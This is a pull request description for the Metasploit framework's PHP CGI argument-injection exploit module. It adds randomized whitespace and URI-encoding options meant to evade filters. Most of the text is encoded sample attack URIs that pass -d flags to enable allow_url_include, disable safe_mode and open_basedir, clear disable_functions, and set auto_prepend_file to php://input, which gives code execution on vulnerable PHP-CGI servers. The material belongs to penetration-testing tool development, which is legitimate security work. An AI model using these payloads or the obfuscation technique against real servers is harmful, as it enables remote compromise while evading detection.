rapid7/metasploit-framework — pull request #374 by jjarmoc (2012-05-09 22:51:02+00:00)
Title: Encoding additions to php_cgi_arg_injection.rb module

- Adds randomization to spaces (one of %20, %09, +)
- Adds a new 'URIENCODING' option, defaulted to 5
- Prepends payload with a random number of spaces, up to the limit defined by URIENCODING
- Randomly URI encodes argument strings, up to URIENCODING characters
- Ensures = and " are always encoded as this is needed for successful exploit.

Tested thoroughly. Some example URIs follow;

-- URIENCODING = 5 (default)
[*] URI: /?%20%09%2dd%20allow_u%72l_include%3d1++%2dd%20safe_m%6fde%3doff%09%20%2dd%20suhosin.%73imulation%3d1%20%20%2dd%09d%69sable_functions%3d%2f%2f++%2Dd%09open_ba%73edir%3dnone+%09%2dd%09auto_p%72epend_file%3dphp://input%09%20%2dn%09%09
[*] URI: /?+%09-d%20al%6cow_url_include%3doN%20%20-d%09%73afe_mode%3dOFF++%2dd+suhosin.s%69mulation%3d1++%2dd%20disabl%65_functions%3d%2f%2f+%20%2Dd%09open%5fbasedir%3dnone++%2dd+auto_prepend%5ffile%3dphp://input%20+%2Dn+%09
[*] URI: /?%20+%2dd%09allow_u%72l_include%3dOn+%09%2dd%09safe_mod%65%3doFf%09+-d+s%75hosin.simulation%3dtruE%09%20-d%20%64isable_functions%3d%2f%2f%09+%2Dd%09ope%6e_basedir%3dnone%09%09%2Dd%09auto_prepend_file%3dphp://in%70ut%09+%2Dn%09%20

--- set URIENCODING 0
[*] URI: /?%2dd+allow_url_include%3dON%20-d%20safe_mode%3dOFf%09-d+suhosin.simulation%3dTRue%20-d+disable_functions%3d%2f%2f%09%2dd+open_basedir%3dnone+-d%09auto_prepend_file%3dphp://input+%2Dn++
[*] URI: /?-d+allow_url_include%3d1%09%2Dd%09safe_mode%3dfAlSe%20-d+suhosin.simulation%3dTruE%20%2dd+disable_functions%3d%2f%2f%09%2Dd+open_basedir%3dnone%20%2Dd+auto_prepend_file%3dphp://input%20%2Dn%20%09
[*] URI: /?%2dd+allow_url_include%3doN%09%2Dd+safe_mode%3dOFf%09%2Dd%20suhosin.simulation%3don%20%2Dd%09disable_functions%3d%2f%2f%09%2dd+open_basedir%3dnone+-d%20auto_prepend_file%3dphp://input+%2Dn%09%20

--- set URIENCODING 25
[*] URI: /?%09%20+%20+%09%20+%20%09%09+%09%09%20%09+%20+%09%09+%09+%20%20%20%20%09%20%09%09%20%09%09+++%20%20%09%20%09%09+%09%09%20%20%09-d%09%09++++%20+%20%20%09%20%09++%20%20%09+%20%20+%09%20%20%61%6cl%6fw%5f%75rl%5f%69%6e%63%6cu%64%65%3dTR%75E++%09%09%20%09%09+%20++++%09+%09%20+%09%20++%20%20%20%20%2Dd%09%09%20+%20%20+%20%20%09%20%20%20+%09%20%20%20++%20%20%09%20%09sa%66%65%5f%6d%6f%64%65%3d%66A%6c%73%45%20%09+%20%09%09%09%09++%20%20++%09%20++%20+%20%20%20+%20+%2dd%09+%09+%20++%20%09%09++%20+%09%09%09%09%20%09%09%20++%20s%75%68%6f%73%69%6e%2e%73%69%6d%75%6ca%74%69%6f%6e%3d%4fN%09%20%09+++++%09%20+%20%09%20++%20%20%20%09+%20+%20%20+%2Dd%09+%09%09%20+++++%09%20%09+%20+%09+%20%20%09++%09%09%64i%73%61%62%6c%65_%66u%6e%63t%69on%73%3d%22%2f%09%20%09++++%09%09%09+%20+%09%20+%20+%09%20++%09%09%20%09-d%20%20%20+%20++%20%20+%20+%20%20++++%09%20%09%20%20%20+o%70e%6e%5f%62%61%73%65%64%69r%3d%6e%6f%6ee%20+%20%20+%20++%20%09%09%20%09+%09%09+%20%09+%09%20%20%09%09%20-d%20%09%09%09%09%20%20+%20+%09%20%20++%20++%20+%20++%20%20%61uto%5fpr%65%70e%6e%64%5ffi%6c%65%3dp%68%70%3a%2f%2fi%6e%70%75t+%09+%20%20+%20%20++%09%20%09%20%09+%20%20+%20+%20+%09%09%20-n%20+%09%20%09%20+%09++%20%20%09%20%20%09%20%09%09+%20+%20%09++
[*] URI: /?%20+%09%09%20+%09++%09++%20%09%09+%20+%09%20+%20+%09%20%20%09+%20%09%20%20+%20%20%20%09%09+%09%20%09%09%09+++%09%09+%2dd+%09%09++%20%09%09%09+%20+%09%20%20%20+%20%20%20+%09++%09a%6c%6c%6fw%5fu%72l%5f%69n%63%6c%75%64%65%3d%4f%4e%20+%20+%09+%20%20%09%20%20%09%09%09%20%09%09+%20+%09++%20%09+-d%20%20%20%09%09%20+++%09%09%20%20%20%20+%20%20+%09+%20%09+%20%73%61%66%65%5f%6d%6f%64%65%3d%66%61%4c%53%45+%20%09%09%20%20%20++%20%20+%09+%09++%09%20%09%09%09%20%20++-d%09++%20+++%09%20%20+++%09%09%09%09+%20%20%20%09%09%20%09%73%75%68%6f%73%69n%2e%73i%6d%75lat%69%6f%6e%3d1%20+%09++%20%09%09+%09%20+++%20+%20++%20%20+%09%20+%20-d%09%20%09%09+%09+++++%20%20%09%09%09%09%20%20+%09%20%09+%09%64%69%73a%62%6c%65%5f%66u%6ec%74io%6e%73%3d%22%22%09+%09%20%20%09++%09%20+%09%20+%20%09+%09%09%09%09%20+%20%20%09%2dd+%20+%09+%09++%09%09%20++%09%09%20+%20%20+++%20++o%70%65%6e%5fb%61%73%65%64%69%72%3d%6e%6f%6ee%09+++%09%20%09+%09%09+%20+++%09%20%20%20%20%09%09%09%09%20%20%2Dd+%20%20%09+%20%09%09%20%20%20++%09%20%09%09%20+%09%20+%09%20+a%75%74o_pre%70e%6e%64_%66%69le%3d%70%68%70%3a%2f/%69n%70%75%74%20+%20%09+%20%20%09++++%09%09+%20+%20%20%20%09%20%20%09+%20%2dn%09%20%09%09+%09+%09%09%09%09%09%09%09%20%20+%09%20%20%20%09++%20%09
[*] URI: /?+++%09+%20+%09%09%09%09%20+%09++%09%20%20+++++%09%20%20+%20+++%20%20%20%20+%09+%20+%20%09++%09%20+%20%09-d+%09%09%09%20%09%20+%09%20%20+%09+%09+%09%09+%09+%09+%09+%61%6c%6c%6fw%5f%75%72%6c_%69%6e%63lu%64%65%3d%74%52%55%65%20+%20+%20+%09%09%09+%20%20+%09%20%20%09%09+%09%09%09+%20%09+%2dd+%09%09%09+%09%09%09+%09%09%20%09%20+%20%20+%20%09%09%09%09+%20%73%61f%65%5f%6d%6f%64%65%3dF%61%4c%53%45%20%09%09%20+%20%20%20%09%09%09%09%09+++%09%20+%09%09+%09++%20%2Dd%09%20%09%09%09%09++%20%20++%20%09+%20+%09+%20+%09%09%20+%73%75%68%6f%73i%6e.%73%69m%75la%74%69%6fn%3do%4e%20%09++++%09%09+%09%09%09++%09%09%09++++%09%20+%20%20%2Dd%20%09%09%09+%09+%09%09%20%20%09%20%20%20%09%09%09%09%09%20+%20%20%09d%69%73%61%62%6c%65%5f%66un%63%74i%6f%6es%3d%2f%22+%09%09%20%20%20%20++%09%20%20+%20+%20%20+%09%09+%20%20%20%20%20%2Dd%09%20+%09%09%09%20+%09+%09%20%20%20%20%09%20%09+%20%09%09+%09%09%6f%70%65%6e%5f%62%61%73%65%64%69r%3dn%6fn%65+++%09+%09%20%09%20%20+%20%20%09+%20+%09%09%20%09%09%09++%20%2Dd+%20%09%20%20%20%09+%09%20++%20+%20%20++++%20%20%09%20%09au%74%6f_pre%70%65n%64%5f%66%69l%65%3dp%68%70%3a/%2fi%6e%70%75%74++++%20%09+%09+++%09%09+%09%20%09+%09%20%09++%20++%2Dn+%09+%20%20+%20+%20%20%20%09++%20%09++%20%20+++%09+%09